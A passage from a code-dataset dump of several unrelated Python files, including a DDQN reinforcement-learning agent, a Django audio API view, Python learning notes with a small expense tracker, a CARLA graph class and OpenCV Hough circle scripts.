vn.node_num):\n flag = self.expand(pn, vn, curr_node)\n if not flag:\n self.backpropagate(selected_nodes, flag)\n selected_nodes = self.select(pn, vn, curr_node)\n\n\n # Backprogate\n if flag:\n # FAILURE\n self.backpropagate(selected_nodes, flag)\n 2\n else:\n # SUCCESS\n 1\n\n def decision(self):\n pass\n\n\n\n\n\nif __name__ == '__main__':\n pass","sub_path":"algo/mtcs/tree_node.py","file_name":"tree_node.py","file_ext":"py","file_size_in_byte":4975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"538838268","text":"from context import squared_board\n\n\nclass Stone(squared_board.TileObject):\n def __init__(self, board, row, col):\n # these must be set before super().__init__ is called because\n # we specify row and col, so it immediately tries to draw the stone\n self.colors = [\"Blue\", \"Red\"] # change between colors on time step\n self.color_index = 0 # start with color blue\n\n super().__init__(board, (row, col))\n\n def draw(self):\n oval_id = self.canvas.create_oval(\n self.tile.x, self.tile.y,\n self.tile.x + self.tile.size, self.tile.y + self.tile.size,\n fill=self.colors[self.color_index])\n\n return [oval_id]\n\n def on_time_step(self):\n # change color\n self.color_index += 1\n self.color_index %= 2\n\n self.change_config(fill=self.colors[self.color_index])\n\n\ndef main():\n import sys\n\n if len(sys.argv) > 2:\n rows = int(sys.argv[1])\n cols = int(sys.argv[2])\n else:\n rows = cols = 10\n\n print(\"Left click on tiles to add a stone\")\n print(\"Right click on tile to remove a stone form it\")\n\n board = squared_board.Board(rows, cols)\n stones = dict()\n\n def add_stone(event):\n tile = board.get_closest_tile(event.x, event.y)\n if tile is not None:\n s = Stone(board, tile.row, tile.column)\n pos = (tile.row, tile.column)\n if pos in stones:\n stones[pos].append(s)\n else:\n stones[pos] = [s]\n\n def remove_stone(event):\n if event.tile is not None:\n pos = (event.tile.row, event.tile.column)\n if pos in stones and len(stones[pos]) != 0:\n stones[pos].pop().remove()\n\n board.register_click1_observer(add_stone)\n board.register_click3_observer(remove_stone)\n board.start()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"examples/sample_blinking_board.py","file_name":"sample_blinking_board.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"148650173","text":"from .amqp_exchange import PulsarExchange\nfrom .util import filter_destination_params\n\n\ndef get_exchange(url, manager_name, params):\n connect_ssl = parse_amqp_connect_ssl_params(params)\n exchange_kwds = dict(\n manager_name=manager_name,\n connect_ssl=connect_ssl,\n publish_kwds=parse_amqp_publish_kwds(params)\n )\n timeout = params.get('amqp_consumer_timeout', False)\n if timeout is not False:\n exchange_kwds['timeout'] = timeout\n exchange = PulsarExchange(url, **exchange_kwds)\n return exchange\n\n\ndef parse_amqp_connect_ssl_params(params):\n ssl_params = filter_destination_params(params, \"amqp_connect_ssl_\")\n if not ssl_params:\n return\n\n ssl = __import__('ssl')\n if 'cert_reqs' in ssl_params:\n value = ssl_params['cert_reqs']\n ssl_params['cert_reqs'] = getattr(ssl, value.upper())\n return ssl_params\n\n\ndef parse_amqp_publish_kwds(params):\n all_publish_params = filter_destination_params(params, \"amqp_publish_\")\n retry_policy_params = {}\n for key in all_publish_params.keys():\n if key.startswith(\"retry_\"):\n value = all_publish_params[key]\n retry_policy_params[key[len(\"retry_\"):]] = value\n del all_publish_params[key]\n if retry_policy_params:\n all_publish_params[\"retry_policy\"] = retry_policy_params\n return all_publish_params\n","sub_path":"lib/pulsar/client/amqp_exchange_factory.py","file_name":"amqp_exchange_factory.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"622345155","text":"import numpy as np\nimport tensorflow as tf\nimport json\nimport time\nimport os\nfrom config import (BATCH_SIZE, CLIP_REWARD, DISCOUNT_FACTOR,\n EVAL_LENGTH, FRAMES_BETWEEN_EVAL, INPUT_SHAPE,\n LEARNING_RATE, LOAD_FROM, LOAD_REPLAY_BUFFER,\n MAX_EPISODE_LENGTH, MAX_NOOP_STEPS, MEM_SIZE,\n MIN_REPLAY_BUFFER_SIZE, PRIORITY_SCALE, SAVE_PATH,\n TENSORBOARD_DIR, TOTAL_FRAMES, UPDATE_FREQ, USE_PER,\n WRITE_TENSORBOARD, IMAGE_DIR)\nfrom ReplayBuffer import ReplayBuffer\n# from simple_cofiguration import Environment\nfrom DDQRLNetwork import DDQNetwork\nfrom myLEEM import LEEM_remote\n\n\nclass Agent(object):\n \"\"\"Implements a standard DDDQN agent\"\"\"\n\n def __init__(self,\n dqn,\n replay_buffer,\n n_actions,\n batch_size=8,\n eps_initial=1,\n eps_final=0.1,\n eps_final_frame=0.01,\n eps_evaluation=0.0,\n eps_annealing_frames=200, # starts to fall after\n replay_buffer_start_size=500,\n max_frames=2000,\n use_per=True):\n \"\"\"\n Arguments:\n dqn: A DQN (returned by the DQN function) to predict moves\n target_dqn: A DQN (returned by the DQN function) to predict target-q values. This can be initialized in the same way as the dqn argument\n replay_buffer: A ReplayBuffer object for holding all previous experiences\n n_actions: Number of possible actions for the given environment\n input_shape: Tuple/list describing the shape of the pre-processed environment\n batch_size: Number of samples to draw from the replay memory every updating session\n history_length: Number of historical frames available to the agent\n eps_initial: Initial epsilon value.\n eps_final: The \"half-way\" epsilon value. The epsilon value decreases more slowly after this\n eps_final_frame: The final epsilon value\n eps_evaluation: The epsilon value used during evaluation\n eps_annealing_frames: Number of frames during which epsilon will be annealed to eps_final, then eps_final_frame\n replay_buffer_start_size: Size of replay buffer before beginning to learn (after this many frames, epsilon is decreased more slowly)\n max_frames: Number of total frames the agent will be trained for\n use_per: Use PER instead of classic experience replay\n \"\"\"\n\n self.n_actions = n_actions\n # Memory information\n self.replay_buffer_start_size = replay_buffer_start_size\n self.max_frames = max_frames\n self.batch_size = batch_size\n\n self.replay_buffer = replay_buffer\n self.use_per = use_per\n\n # Epsilon information\n self.eps_initial = eps_initial\n self.eps_final = eps_final\n self.eps_final_frame = eps_final_frame\n self.eps_evaluation = eps_evaluation\n self.eps_annealing_frames = eps_annealing_frames\n\n # Slopes and intercepts for exploration decrease\n # (Credit to Fabio M. Graetz for this and calculating epsilon based on frame number)\n self.slope = -(self.eps_initial - self.eps_final) / self.eps_annealing_frames\n self.intercept = self.eps_initial - self.slope * self.replay_buffer_start_size\n self.slope_2 = -(self.eps_final - self.eps_final_frame) / (\n self.max_frames - self.eps_annealing_frames - self.replay_buffer_start_size)\n self.intercept_2 = self.eps_final_frame - self.slope_2 * self.max_frames\n\n # DQN\n self.DQN = dqn\n\n def calc_epsilon(self, frame_number, evaluation=False):\n \"\"\"Get the appropriate epsilon value from a given frame number\n Arguments:\n frame_number: Global frame number (used for epsilon)\n evaluation: True if the model is evaluating, False otherwise (uses eps_evaluation instead of default epsilon value)\n Returns:\n The appropriate epsilon value\n \"\"\"\n if evaluation:\n return self.eps_evaluation\n elif frame_number < self.replay_buffer_start_size:\n return self.eps_initial\n elif self.replay_buffer_start_size <= frame_number < self.replay_buffer_start_size + self.eps_annealing_frames:\n return self.slope * frame_number + self.intercept\n elif frame_number >= self.replay_buffer_start_size + self.eps_annealing_frames:\n return self.slope_2 * frame_number + self.intercept_2\n\n def get_action(self, frame_number, state, evaluation=False):\n \"\"\"Query the DQN for an action given a state\n Arguments:\n frame_number: Global frame number (used for epsilon)\n state: State to give an action for\n evaluation: True if the model is evaluating, False otherwise (uses eps_evaluation instead of default epsilon value)\n Returns:\n An integer as the predicted move\n \"\"\"\n\n # Calculate epsilon based on the frame number\n eps = self.calc_epsilon(frame_number, evaluation)\n\n # With chance epsilon, take a random action\n if np.random.rand(1) < eps:\n return np.random.randint(2, self.n_actions+1)\n\n # Otherwise, query the DQN for an action\n q_vals = self.DQN.main_predict(state)[0]\n return q_vals.argmax()\n\n def update_target_network(self):\n \"\"\"Update the target Q network\"\"\"\n self.DQN.update_target_network()\n\n def add_experience(self, action, frame, reward, clip_reward=True):\n \"\"\"Wrapper function for adding an experience to the Agent's replay buffer\"\"\"\n self.replay_buffer.add_experience(action, frame, reward, clip_reward)\n\n def learn(self, batch_size, gamma, frame_number, priority_scale=1.0):\n \"\"\"Sample a batch and use it to improve the DQN\n Arguments:\n batch_size: How many samples to draw for an update\n gamma: Reward discount\n frame_number: Global frame number (used for calculating importances)\n priority_scale: How much to weight priorities when sampling the replay buffer. 0 = completely random, 1 = completely based on priority\n Returns:\n The loss between the predicted and target Q as a float\n \"\"\"\n\n if self.use_per:\n (states, actions, rewards, new_states) \\\n , importance, indices = self.replay_buffer.get_minibatch(batch_size=self.batch_size,\n priority_scale=priority_scale)\n importance = importance ** (1 - self.calc_epsilon(frame_number))\n else:\n states, actions, rewards, new_states = self.replay_buffer.get_minibatch(\n batch_size=self.batch_size, priority_scale=priority_scale)\n\n # Main DQN estimates best action in new states\n arg_q_max = self.DQN.main_predict(new_states).argmax(axis=1)\n\n # Target DQN estimates q-vals for new states\n future_q_vals = self.DQN.target_predict(new_states)\n double_q = future_q_vals[range(batch_size), arg_q_max]\n\n # Calculate targets (bellman equation)\n target_q = rewards + (gamma * double_q)\n\n # Use targets to calculate loss (and use loss to calculate gradients)\n with tf.GradientTape() as tape:\n q_values = self.DQN.main_network(states)\n\n one_hot_actions = tf.keras.utils.to_categorical(actions, self.n_actions,\n dtype=np.float32) # using tf.one_hot causes strange errors\n Q = tf.reduce_sum(tf.multiply(q_values, one_hot_actions), axis=1)\n\n error = Q - target_q\n loss = tf.keras.losses.Huber()(target_q, Q)\n\n if self.use_per:\n # Multiply the loss by importance, so that the gradient is also scaled.\n # The importance scale reduces bias against situataions that are sampled\n # more frequently.\n loss = tf.reduce_mean(loss * importance)\n\n model_gradients = tape.gradient(loss, self.DQN.trainable_variables)\n self.DQN.optimizer.apply_gradients(zip(model_gradients, self.DQN.trainable_variables))\n\n if self.use_per:\n self.replay_buffer.set_priorities(indices, error)\n\n return float(loss.numpy()), error\n\n def save(self, folder_name, **kwargs):\n \"\"\"Saves the Agent and all corresponding properties into a folder\n Arguments:\n folder_name: Folder in which to save the Agent\n **kwargs: Agent.save will also save any keyword arguments passed. This is used for saving the frame_number\n \"\"\"\n\n # Create the folder for saving the agent\n if not os.path.isdir(folder_name):\n os.makedirs(folder_name)\n\n self.DQN.save_model(folder_name)\n # Save replay buffer\n self.replay_buffer.save(folder_name + '/replay-buffer')\n\n # Save meta\n with open(folder_name + '/meta.json', 'w+') as f:\n f.write(json.dumps({**{'buff_count': self.replay_buffer.count, 'buff_curr': self.replay_buffer.current},\n **kwargs})) # save replay_buffer information and any other information\n\n def load(self, folder_name, load_replay_buffer=True):\n \"\"\"Load a previously saved Agent from a folder\n Arguments:\n folder_name: Folder from which to load the Agent\n Returns:\n All other saved attributes, e.g., frame number\n \"\"\"\n\n if not os.path.isdir(folder_name):\n raise ValueError(f'{folder_name} is not a valid directory')\n\n # Load DQNs\n self.DQN.load_model(folder_name)\n self.optimizer = self.DQN.optimizer\n\n # Load replay buffer\n if load_replay_buffer:\n self.replay_buffer.load(folder_name + '/replay-buffer')\n\n # Load meta\n with open(folder_name + '/meta.json', 'r') as f:\n meta = json.load(f)\n\n if load_replay_buffer:\n self.replay_buffer.count = meta['buff_count']\n self.replay_buffer.current = meta['buff_curr']\n\n del meta['buff_count'], meta['buff_curr'] # we don't want to return this information\n return meta\n\n\n# Create environment\nif __name__ == \"__main__\":\n LEEM = LEEM_remote\n # TensorBoard writer\n writer = tf.summary.create_file_writer(TENSORBOARD_DIR)\n\n convolution_layers = [4, 8]\n dense_layers = [8, 16]\n # Build main and target networks\n DQN = DDQNetwork(LEEM.n_actions, convolution_layers, dense_layers, delta_epsilon=0.01)\n\n replay_buffer = ReplayBuffer(size=MEM_SIZE, input_shape=INPUT_SHAPE, use_per=USE_PER)\n agent = Agent(DQN, replay_buffer, LEEM.n_actions, batch_size=BATCH_SIZE, use_per=USE_PER)\n\n # Training and evaluation\n if LOAD_FROM is None:\n frame_number = 0\n rewards = []\n loss_list = []\n else:\n print('Loading from', LOAD_FROM)\n meta = agent.load(LOAD_FROM, LOAD_REPLAY_BUFFER)\n\n # Apply information loaded from meta\n frame_number = meta['frame_number']\n rewards = meta['rewards']\n loss_list = meta['loss_list']\n\n # Main loop\n try:\n with writer.as_default():\n while frame_number < TOTAL_FRAMES:\n # Training\n\n epoch_frame = 0\n while epoch_frame < FRAMES_BETWEEN_EVAL:\n start_time = time.time()\n LEEM.reset()\n episode_reward_sum = 0\n for _ in range(MAX_EPISODE_LENGTH):\n # Get action\n action = agent.get_action(frame_number, LEEM.state)\n\n # Take step\n processed_frame, reward, terminal = LEEM.step(action)\n frame_number += 1\n epoch_frame += 1\n episode_reward_sum += reward\n\n # Add experience to replay memory\n agent.add_experience(action=action,\n frame=processed_frame[:, :],\n reward=reward, clip_reward=CLIP_REWARD)\n\n # Update agent\n if frame_number % UPDATE_FREQ == 0 and agent.replay_buffer.count > MIN_REPLAY_BUFFER_SIZE:\n loss, _ = agent.learn(BATCH_SIZE, gamma=DISCOUNT_FACTOR,\n frame_number=frame_number, priority_scale=PRIORITY_SCALE)\n loss_list.append(loss)\n\n # Update target network\n if frame_number % UPDATE_FREQ == 0 and frame_number > MIN_REPLAY_BUFFER_SIZE:\n agent.update_target_network()\n\n # Break the loop when the game is over\n if terminal:\n terminal = False\n break\n\n rewards.append(episode_reward_sum)\n\n # Output the progress every 10 games\n if len(rewards) % 10 == 0:\n # Write to TensorBoard\n if WRITE_TENSORBOARD:\n tf.summary.scalar('Reward', np.mean(rewards[-10:]), frame_number)\n tf.summary.scalar('Loss', np.mean(loss_list[-100:]), frame_number)\n writer.flush()\n\n print(\n f'Game number: {str(len(rewards)).zfill(6)} '\n f'Frame number: {str(frame_number).zfill(8)}'\n f' Average reward: {np.mean(rewards[-10:]):0.1f} '\n f'Time taken: {(time.time() - start_time):.1f}s')\n\n # Evaluation every `FRAMES_BETWEEN_EVAL` frames\n terminal = True\n eval_rewards = []\n evaluate_frame_number = 0\n\n for _ in range(EVAL_LENGTH):\n if terminal:\n LEEM.reset()\n life_lost = True\n episode_reward_sum = 0\n terminal = False\n\n # Step action\n _, reward, terminal, life_lost = LEEM.step(action)\n evaluate_frame_number += 1\n episode_reward_sum += reward\n\n # On game-over\n if terminal:\n eval_rewards.append(episode_reward_sum)\n\n if len(eval_rewards) > 0:\n final_score = np.mean(eval_rewards)\n else:\n # In case the game is longer than the number of frames allowed\n final_score = episode_reward_sum\n # Print score and write to tensorboard\n print('Evaluation score:', final_score)\n if WRITE_TENSORBOARD:\n tf.summary.scalar('Evaluation score', final_score, frame_number)\n writer.flush()\n\n # Save model\n if len(rewards) > 300 and SAVE_PATH is not None:\n agent.save(f'{SAVE_PATH}/save-{str(frame_number).zfill(8)}', frame_number=frame_number,\n rewards=rewards, loss_list=loss_list)\n except KeyboardInterrupt:\n print('\\nTraining exited early.')\n writer.close()\n\n if SAVE_PATH is None:\n try:\n SAVE_PATH = input(\n 'Would you like to save the trained model? If so, type in a save path, otherwise, interrupt with ctrl+c. ')\n except KeyboardInterrupt:\n print('\\nExiting...')\n\n if SAVE_PATH is not None:\n print('Saving...')\n agent.save(f'{SAVE_PATH}/save-{str(frame_number).zfill(8)}', frame_number=frame_number, rewards=rewards,\n loss_list=loss_list)\n print('Saved.')\n","sub_path":"agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":16153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"126728169","text":"from django.shortcuts import render \nfrom django.http import HttpResponse\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom .models import *\nfrom .serializer import *\n\n# Create your views here.\n\nclass API(APIView):\n\n def get(self,request):\n\n song_obj = Song.objects.all()\n song_serial = SongSerializer(song_obj , many=True)\n\n podcast_obj = Podcast.objects.all()\n podcast_serial = PodcastSerializer(podcast_obj , many=True)\n\n audiobook_obj = AudioBook.objects.all()\n audiobook_serial = AudioBookSerializer(audiobook_obj , many=True)\n\n return Response({'song': song_serial.data , 'podcast': podcast_serial.data ,'audiobook': audiobook_serial.data})\n \n\n\n def post(self , request):\n song_serial = SongSerializer(data=request.data)\n podcast_serial = PodcastSerializer(data=request.data)\n audiobook_serial = AudioBookSerializer(data=request.data)\n\n if song_serial.is_valid() and podcast_serial.is_valid() and audiobook_serial.is_valid():\n song_serial.save()\n podcast_serial.save()\n audiobook_serial.save()\n return Response({'song': song_serial.data , 'podcast': podcast_serial.data ,'audiobook': audiobook_serial.data})\n return Response(song_serial.error , status= HTTP_400_BAD_REQUEST)\n\n\n def delete(self, request, pk , format=None):\n song_obj = Song.objects.get(id=pk).delete()\n podcast_obj = Podcast.objects.get(id=pk).delete()\n audiobook_obj = AudioBook.objects.get(id=pk).delete()\n return Response(status.HTTP_204_NO_CONTENT)","sub_path":"AudioAPI/AudioAPIApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"157272625","text":"# adict=dict()\n# print(dict(['ab','cd']))\n# bdict=dict([('name','bob'),('age',25)])\n# cdict = {}.fromkeys(['zhang3', 'li4', 'wang5'], 20)\n# for key in cdict:\n# print('%s:%s' % (key, cdict[key]))\n# print('%(name)s:%(age)s'%bdict)\n# bdict['name']='jack'\n# bdict['email']='abc@123.com'\n# len(bdict)\n# bdict.keys()\n# bdict.values()\n# bdict.items()\n# bdict.get('name')\n# bdict.get('qq','not found')\n# bdict.get('age','not found')\n# bdict.update({'tel':'123456789'})\n# adict = bdict.copy()\n# bdict.setdefault('add', 'china')\n###############################################################\n# userdb = {}\n#\n#\n# def register():\n# username = input('注册的用户名:')\n# if username in userdb:\n# print('%s已存在' % username)\n# else:\n# password = input('请输入密码:')\n# userdb[username] = password\n#\n#\n# def login():\n# username = input('请输入用户名')\n# password = input('请输入密码')\n# if userdb.get(username) != password:\n# print('用户名或密码错误')\n# else:\n# print('登录成功')\n#\n#\n# def show_menu():\n# promt = '''1.注册\n# 2.登录\n# 3.退出\n# 请在1/2/3中选择:'''\n# cmds = {'1': register, '2': login}\n# while True:\n# choice = input(promt).strip()[0]\n# if choice not in '123':\n# print('输入错误,请重新输入')\n# continue\n# elif choice == '3':\n# break\n# else:\n# cmds[choice]()\n#\n#\n# if __name__ == '__main__':\n# show_menu()\n############################################################\n# import sys\n#\n#\n# def u2d(fname):\n# dst_fname = fname + '.txt'\n# with open(fname)as s_f:\n# with open(dst_fname, 'w')as d_f:\n# for line in s_f:\n# line = line.rstrip() + '\\r\\n'\n# d_f.write(line)\n#\n#\n# if __name__ == '__main__':\n# u2d(sys.argv[1])\n#######################################################\n# import time\n#\n# length = 19\n# count = 0\n# try:\n# while True:\n# print('\\r%s@%s' % ('#' * count, '#' * (length - count)), end='')\n# time.sleep(0.2)\n# count = (count + 1) % 20\n# except KeyboardInterrupt:\n# print('\\ngame over')\n##########################################################\n# aset = set('abcd')\n# bset = set('defg')\n# cset = aset | bset\n# aset.union(bset)\n# aset & bset\n# aset.intersection(bset)\n# aset - bset\n# aset.difference(bset)\n# aset.issubset(cset)\n# cset.issuperset(aset)\n# aset.add('new')\n# aset.update(['aaa', 'bbb'])\n# aset.remove('bbb')\n##############################################################\n# with open('passwd') as f:\n# aset = set(f)\n# with open('mima') as f:\n# bset = set(f)\n# with open('diff', 'w') as f:\n# f.writelines(aset - bset)\n################################################################\n# import time\n# time.localtime()\n# time.gmtime()\n# time.time()\n# time.mktime(time.localtime())\n# time.sleep(1)\n# time.asctime()\n# time.ctime()\n# time.strftime('%Y-%m-%d')\n# time.strftime('%H-%M-%S')\n# time.strptime('2018-07-20','%Y-%m-%d')\n# import datetime\n# dt=datetime.datetime.today()\n# datetime.datetime.now()\n# datetime.datetime.strptime('2018/7/20','%Y/%m/%d')\n# datetime.datetime.strptime('2018~7~20','%Y~%m~%d')\n# datetime.datetime.ctime(dt)\n# datetime.datetime.strftime(dt,'%Y%m%d')\n# dt+datetime.timedelta(days=10,hours=3)\n####################################################################\n# try:\n# n = int(input('输入一个数:'))\n# result=100/n\n# except (ValueError,ZeroDivisionError):\n# print('无效的数字')\n# except (KeyboardInterrupt, EOFError):\n# print('byebye')\n# else:\n# print(result)\n# finally:\n# print('over')\n####################################################\n# def set_age(name, age):\n# if not 0 < age < 150:\n# raise ValueError('超过范围')\n# print('%s is %s' % (name, age))\n#\n#\n# def set_age2(name, age):\n# assert 0 < age < 150, '超过范围'\n# print('%s is %s' % (name, age))\n#\n#\n# if __name__ == '__main__':\n# set_age('zhang3', 30)\n# set_age2('lisi', 20)\n###################################################\n# import os\n# os.getcwd()\n# os.listdir()\n# os.listdir('/tmp')\n# os.mkdir('/tmp/a')\n# os.chdir('/tmp/a')\n# os.mknod('test')\n# os.symlink('/etc/passwd','link')\n# os.path.isfile('test')\n# os.path.islink('link')\n# os.path.isdir('/tmp')\n# os.path.exists('/tmp')\n# os.path.basename('/ttt/aaa/bbb')\n# os.path.dirname('/ttt/aaa/bbb')\n# os.path.split('/ttt/aaa/bbb')\n# os.path.join('/ttt/aaa', 'bbb')\n# os.path.abspath('test')\n########################################################3\n# import pickle\n#\n# first_list = ['a', 'b', 2]\n# with open('/tmp/listdata', 'wb')as f:\n# pickle.dump(first_list, f)\n# with open('/tmp/listdata', 'rb')as f:\n# new_list = pickle.load(f)\n# print(new_list)\n#######################################################\nimport pickle\nimport os\nimport time\n\ntitle = '''1.开销\n2.收入\n3.结束\n请在1/2/3中选择:'''\n\n\ndef load_money():\n if os.path.exists('money'):\n with open('money', 'rb') as f:\n money = pickle.load(f)\n else:\n money = 10000.0\n return money\n\n\ndef use_money(money):\n num = float(input('请输入开销的金额:'))\n money -= num\n node = note()\n atime = time.strftime('%Y.%m.%d')\n astr = '%-12s\\t%-8s\\t%-8s\\t%-10s\\t%-20s\\n' % (atime, num, '', money, node)\n save_node(astr)\n return money\n\n\ndef get_money(money):\n num = float(input('请输入收入的金额:'))\n money += num\n node = note()\n atime = time.strftime('%Y.%m.%d')\n astr = '%-12s\\t%-8s\\t%-8s\\t%-10s\\t%-20s\\n' % (atime, '', num, money, node)\n save_node(astr)\n return money\n\n\ndef save_node(astr):\n if not os.path.exists('node'):\n with open('node', 'w') as f:\n f.write('%-12s\\t%-8s\\t%-8s\\t%-10s\\t%-20s\\n' % ('时间', '支出', '收入', '余额', '说明'))\n with open('node', 'a') as f:\n f.write(astr)\n\n\ndef note():\n node = input('请输入说明')\n return node\n\n\ndef save_money(money):\n print('保存记录中')\n with open('money', 'wb') as f:\n pickle.dump(money, f)\n\n\nif __name__ == '__main__':\n money = load_money()\n cmds = {'1': use_money, '2': get_money}\n while True:\n print('当前拥有%8.1f' % money)\n choice = input(title).strip()\n if choice == '3':\n save_money(money)\n break\n elif choice not in '123':\n print('输入错误,请重新输入')\n continue\n else:\n money = cmds[choice](money)\n","sub_path":"day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":6568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"369729493","text":"# Copyright (c) 2017 Computer Vision Center (CVC) at the Universitat Autonoma de\n# Barcelona (UAB).\n#\n# This work is licensed under the terms of the MIT license.\n# For a copy, see .\n\nimport math\nimport numpy as np\n\n\ndef string_to_node(string):\n vec = string.split(',')\n return (int(vec[0]), int(vec[1]))\n\n\ndef string_to_floats(string):\n vec = string.split(',')\n return (float(vec[0]), float(vec[1]), float(vec[2]))\n\n\ndef sldist(c1, c2):\n return math.sqrt((c2[0] - c1[0]) ** 2 + (c2[1] - c1[1]) ** 2)\n\n\ndef sldist3(c1, c2):\n return math.sqrt((c2[0] - c1[0]) ** 2 + (c2[1] - c1[1])\n ** 2 + (c2[2] - c1[2]) ** 2)\n\n\nclass Graph(object):\n \"\"\"\n A simple directed, weighted graph\n \"\"\"\n\n def __init__(self, graph_file=None, node_density=50):\n\n self._nodes = set()\n self._angles = {}\n self._edges = {}\n self._distances = {}\n self._node_density = node_density\n\n if graph_file is not None:\n with open(graph_file, 'r') as f:\n # Skipe the first four lines that\n lines_after_4 = f.readlines()[4:]\n\n # the graph resolution.\n linegraphres = lines_after_4[0]\n self._resolution = string_to_node(linegraphres)\n for line in lines_after_4[1:]:\n\n from_node, to_node, d = line.split()\n from_node = string_to_node(from_node)\n to_node = string_to_node(to_node)\n\n if from_node not in self._nodes:\n self.add_node(from_node)\n if to_node not in self._nodes:\n self.add_node(to_node)\n\n self._edges.setdefault(from_node, [])\n self._edges[from_node].append(to_node)\n self._distances[(from_node, to_node)] = float(d)\n\n def add_node(self, value):\n self._nodes.add(value)\n\n def make_orientations(self, node, heading):\n\n import collections\n distance_dic = {}\n for node_iter in self._nodes:\n if node_iter != node:\n distance_dic[sldist(node, node_iter)] = node_iter\n\n distance_dic = collections.OrderedDict(\n sorted(distance_dic.items()))\n\n self._angles[node] = heading\n for _, v in distance_dic.items():\n start_to_goal = np.array([node[0] - v[0], node[1] - v[1]])\n\n # print(start_to_goal)\n\n self._angles[v] = start_to_goal / np.linalg.norm(start_to_goal)\n\n def add_edge(self, from_node, to_node, distance):\n self._add_edge(from_node, to_node, distance)\n\n def _add_edge(self, from_node, to_node, distance):\n self._edges.setdefault(from_node, [])\n self._edges[from_node].append(to_node)\n self._distances[(from_node, to_node)] = distance\n\n def get_resolution(self):\n return self._resolution\n def get_edges(self):\n return self._edges\n\n def intersection_nodes(self):\n\n intersect_nodes = []\n for node in self._nodes:\n if len(self._edges[node]) > 2:\n intersect_nodes.append(node)\n\n return intersect_nodes\n\n def curve_nodes(self):\n\n intersect_nodes = []\n for node in self._nodes:\n if len(self._edges[node]) > 1:\n intersect_nodes.append(node)\n\n return intersect_nodes\n\n # This contains also the non-intersection turns...\n\n def turn_nodes(self):\n\n return self._nodes\n\n def plot_ori(self, c):\n from matplotlib import collections as mc\n\n import matplotlib.pyplot as plt\n line_len = 1\n\n lines = [[(p[0], p[1]), (p[0] + line_len * self._angles[p][0],\n p[1] + line_len * self._angles[p][1])] for p in self._nodes]\n lc = mc.LineCollection(lines, linewidth=2, color='green')\n _, ax = plt.subplots()\n ax.add_collection(lc)\n\n ax.autoscale()\n ax.margins(0.1)\n\n xs = [p[0] for p in self._nodes]\n ys = [p[1] for p in self._nodes]\n\n plt.scatter(xs, ys, color=c)\n\n def plot(self, c):\n import matplotlib.pyplot as plt\n xs = [p[0] for p in self._nodes]\n ys = [p[1] for p in self._nodes]\n\n plt.scatter(xs, ys, color=c)\n","sub_path":"PythonClient/carla/planner/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":4324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"335910161","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun May 9 03:20:41 2021\r\n\r\n@author: USER\r\n\"\"\"\r\n\r\n\r\nimport cv2 as cv\r\nimport numpy as np\r\n \r\nsrc = cv.imread('eye.jpg')\r\ngray = cv.cvtColor(src, cv.COLOR_BGR2GRAY)\r\ngray = cv.medianBlur(gray, 5)\r\nrows = gray.shape[0]\r\ncircles = cv.HoughCircles(gray, cv.HOUGH_GRADIENT, 1, rows /8, param1=100, param2=30, minRadius=30, maxRadius=100)\r\n\r\n \r\nif circles is not None:\r\n circles = np.uint16(np.around(circles))\r\n for i in circles[0, :]:\r\n center = (i[0], i[1])\r\n # circle center\r\n cv.circle(src, center, 1, (0, 100, 100), 3)\r\n # circle outline\r\n radius = i[2]\r\n cv.circle(src, center, radius, (255, 0, 255), 3)\r\n\r\ncv.imwrite('eye_circle.jpg', src)\r\n\r\n","sub_path":"Hw3/Hw3.py","file_name":"Hw3.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"47853173","text":"import os\n\ndef get_fname():\n \"用于获取一个系统中不存在的文件名\"\n while 1:\n fname = input(\"filename: \")\n # os.path.exists(fname)可以判断文件是否存在,\n # 存在返回True,否则为False\n if not os.path.exists(fname):\n break\n print(\"文件已存在,请重试。\")\n\n return fname\n\ndef get_content():\n \"用于获取用户输入的多行文本\"\n content = []\n\n print(\"请输入内容,在单独的一行上输入end结束!\")\n while 1:\n line = input(\"(end to quit)> \")\n if line == 'end':\n break\n # content.append(line + '\\n') # 在行尾加上回车\\n\n content.append(line)\n\n return content\n\ndef wfile(fname, content):\n \"用于将内容content写入文件fname\"\n with open(fname, 'w') as fobj:\n fobj.writelines(content)\n\nif __name__ == '__main__':\n # 获取文件名\n fname = get_fname()\n # 获取内容\n content = get_content()\n # 将列表中每个字符串结尾拼接\\n后,再赋值回给content\n content = [line + '\\n' for line in content]\n # 将内容与到文件\n wfile(fname, content)\n","sub_path":"nsd2008/py01/day04/mkfile.py","file_name":"mkfile.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"539226757","text":"'''\nCreated on Jan 8, 2017\n\n@author: phusisian\n'''\nimport math\nfrom root.nested.Drawer import Drawer\nfrom root.nested.Point import Point\nfrom root.nested.Circle import Circle\nclass HoughCircles:\n BLOB_SIZE = 3\n RADIUS_STEP = 1\n THETA_STEP = math.pi/64.0#replace theta_step with 1/circumference of circle so it hits each point once only, and doesn't skip any\n '''needs imprecision adjustments -- lossy rounding, things falling in the wrong block, etc. will allow me to speed it up by\n making it less over-precise'''\n '''takes the canny img and image'''\n def __init__(self, img, image, radiusBounds):\n self.img = img\n self.image = image\n self.radiusBounds = radiusBounds\n 